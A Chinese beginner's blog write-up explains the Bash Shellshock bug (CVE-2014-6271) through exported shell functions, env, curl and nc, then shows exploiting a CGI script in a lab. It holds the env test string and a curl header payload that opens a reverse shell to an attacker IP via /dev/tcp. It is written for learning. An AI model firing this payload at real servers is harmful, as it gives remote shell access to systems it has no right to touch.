linux 破壳漏洞,Bash破壳漏洞
“破壳”是一个严重漏洞的别名,在Red Hat、CentOS、Ubuntu、Fedora、Amazon Linux、OS X 10.10中均拥有存在CVE-2014-6271(即“破壳”漏洞)漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。
漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等
那么什么是bash呢?
bash(Bourne-Again SHell)是一个为GNU计划编写的Unix shell。bash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。
来总结下我学习到的知识。
一.bash shell变量:
echo命令:
echo"shellshock"
定义个变量然后再echo:
wt7315="shellshock"
echo $wt7315
结果如下:
我们现在可以试试开一个bash子进程来看一下我们能不能得到变量的值:
wt7315="shellshock"
echo $wt7315
shellshock
bash
echo $wt7315
没有回显,我们不能够读出变量的值是因为我们开启了一个bash子进程,但变量中的值,仍存在父进程中。
bash环境变量:
当你开启一个shell会话时,一些变量已经准备好可供使用了,这些变量成为环境变量
当我们想在子进程中访问$gaba变量的话,我们可以使用export命令将变量变成环境变量。
如上图所示,子进程可以访问环境变量。
env | grep 'gaba'
二.bash函数与环境变量
建立一个名为x的函数,并将函数x存放在环境变量中,正如我预期的那样,在子shell中仍可执行名为x的函数。
在看了很多原理之后,bash漏洞形成的原理可算理解了,简单的就是说:BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!(书读百遍其义自见,原理我读了一百遍)
三.相关指令
顺便来了解下两个指令:
ENV指令:
ENV指令允许临时改变环境变量,即指定本次指令执行的环境变量,这从一定程度上给了***进行PATH Hajaking的可能性
ENV指令还允许在设置环境变量后进行指令执行,从某种程度上来说,ENV相当于一个指令执行的指令,同时还附带有临时设置环境变量的功能
ENV的指令执行走的是正常的BASH指令解析、执行流程,而在一个采取了安全配置的服务器上,对敏感指令的执行都是进行用户级别的权限限制的,所以,ENV本身并不是任意指令执行。真正导致命令任意执行的原因是"Code Injection",即代码注入
具体的env命令,可查看env的man手册和帮助。
这是我们的测试语句:
env x='() { :;}; echo shellshocked' bash -c "echo test"
如果出现 `vulnerable` 和`this a test`则说明系统存在bash漏洞。
bash -c 就是用来执行string-commands(命令字符串),不管后面的字符串里是什么都会被当做shellcode来执行。bash -c "echo this is a test"在执行的时候存在一个环境变量x,而x呢等于 () { :;}; echo vulnerable ,而环境变量在使用前都会被初始化,那么 () { :;}; echo vulnerable 就自然而然的被执行了。 () { :;}; 定义了一个函数(function)并且它什么也不做,而后的 echo vulnerable 被解析后得到了执行权。当特殊的字符串变成环境变量后,环境变量又解析成函数,新的Bash进程在启动后又解析了环境变量并可以执行命令。
curl:
是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。
他的参数很多,这里简单的举几个例子。
-G/--get 以get的方式来发送数据
-H/--header < line >自定义头信息传递给服务器
-i/--include 输出时包括protocol头信息
-K/--config 指定的配置文件读取
nc:
NetCat,它短小精悍,功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。
nc [选项] 主机名称 通信端口
常用参数说明:
-l 使用监听模式,管控传入的资料。
-p 设置本地主机使用的通信端口。
v 显示指令执行过程。
-w 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
经过上面的测试,说明此debian存在bash漏洞,我使用了kai来利用此漏洞。
nc -lv -p 5555
另外在开个终端,输入curl–H 'x: () { :;}; /bin/bash–i >& /dev/tcp/***ip/5555 0>&1' http://受害ip/sgi-bin/status,(需要注意的是() { :;}之间有空格)对于sgi-bin/status,可以先使用扫描工具,扫出存在破壳漏洞并且在cgi-bin目录下有一个可执行脚本,可以看到我们利用破壳漏洞得到了反向shell进入受害机。
webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源
服务器提供了CGI脚本,当CGI script被webserver执行的时候,CGI Script会去调用Bash
***者可以通过开启了CGI的httpd服务器进行远程代码执行
然后我们就可以为所欲为的做你想做的事情了,我查看了当前所有的用户信息。
虽然利用了bash漏洞得到了权限,但是bash漏洞利用还是有条件的:
被***的bash存在漏洞
***者可以控制环境变量
新的bash进程被打开触发漏洞并执行命令
漏洞危害:
可以直接在Bash支持的Web CGI环境下远程执行任何命令。这也就使得一些路由器、堡垒机、×××等网络设备将会成为重灾区,另外各大Linux发行版和Mac OS X系统都受影响,甚至Android也会受到影响。
新手,多多包涵,欢迎各位一起交流学习!
linux 破壳漏洞,Bash破壳漏洞相关推荐
- 修复linux bash破壳漏洞,Linux下bash破壳漏洞检测及修复的方法
如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏 ...
- linux系统漏洞测试过程,Linux下bash破壳漏洞检测方法
如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,那么我们要怎么知道Linux系统是否存在该漏洞,又该如何修复呢?下面随学习啦小编一起来了解下吧. 问 ...
- linux 鬼精灵漏洞,鬼精灵Grinch:比Bash破壳(shellshock)更严重的Linux漏洞
安全研究人员在Linux操作系统中发现了一个名为鬼精灵(Grinch)的漏洞,该漏洞存在于linux系统中,和Bash破壳(shellshock)漏洞一样可以在受害者机器上获得最高权限--Root. ...
- 修复linux bash破壳漏洞,Linux系统下如何检测并修复bash中的破壳漏洞
问题:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭. 2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为"破 ...
- bash破壳漏洞分析(二)
1. Bash简介 1.1 定义 Bash(GNU Bourne-Again Shell)是许多Linux发行版的默认Shell. 1.2 概述 目前的Bash使用的环境变量是通过函数名称 ...
- bash破壳漏洞分析(一)
1. 简介 bash远程代码执行漏洞,该漏洞会影响目前主流的Linux和Mac OSX操作系统平台,包括但不限于Redhat,CentOS,Ubuntu,Debian,Fedora,Amaron ...
- Bash 破壳漏洞Shellshock (CVE-2014-6271)复现
漏洞简介 GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令. ...
- linux下修复bash漏洞
漏洞相关介绍 继上次 Linux 平台上 Heartbleed 爆出漏洞,Shell Shock 也出现了威胁不小的漏洞,几个小时前刚由美国政府的国家弱点数据库(NVD)发布了最新的弱点通报.范围涵盖 ...
- linux远程代码执行漏洞,Bash远程任意代码执行安全漏洞(最严重漏洞)
US-CERT 意识到 Bash 存在一个安全的漏洞,该漏洞直接影响基于 Unix 的系统(如 Linux.OS X 等).该漏洞将导致远程攻击者在受影响的系统上执行任意代码. US-CERT 建议用 ...
最新文章
- HDLBits 系列(27)孰对孰错 之 Fsm onehot?
- 使用System.Transactions
- 使用maxwell实时同步mysql数据到kafka
- 层次分析法模型及代码
- 【编译原理笔记04】语法分析:自顶向下的分析概述、文法转换、LL1文法
- JavaScript Math.random()随机数函数
- CV学习笔记-边缘提取
- 【渝粤教育】国家开放大学2018年秋季 1374T班级管理 参考试题
- matlab画圆的命令_matlab画圆命令资料
- 2001年新闻组大全
- 单网口RFC2544测试——信而泰网络测试仪实操
- 电脑课学生端密码查看
- 中央财经大学python期末考试答案_大学mooc2020用Python玩转数据题库及期末考试答案...
- sqlite C接口增删改查,数据库优化
- 一首好听的英文歌lemon tree(柠檬树)的中文歌词
- 为什么大人学英语这么难?
- deepin使用印象笔记(Evernote)
- Mos结电容Cgd、Cgs、Cds与分布参数Ciss、Crss、Coss
- 地图标记(学习笔记)
- $.ajax() 详细参数
热门文章
- 就算“千夫所指”也要为自己做的10件事
- 大规模土地利用数据处理新手段:高性能的地理处理建模
- 补天SRC漏洞挖掘(一):主域名爬取
- 不仅仅是“屠龙之技”-编译器开发者的精神胜利!
- 【PMP】燃起图燃尽图分析
- MUR1100-ASEMI轴向快恢复二极管MUR1100
- 用C语言开发NES游戏(CC65)15、音乐
- GetMessagePeekMessage 和SendMessagePostMessage
- 苹果手机消息先发给服务器,iPhone接收微信信息延迟,可能是这3个问题导致的,赶紧自查一下...
- 1w存银行一年多少利息_100万存银行一年利息是多少?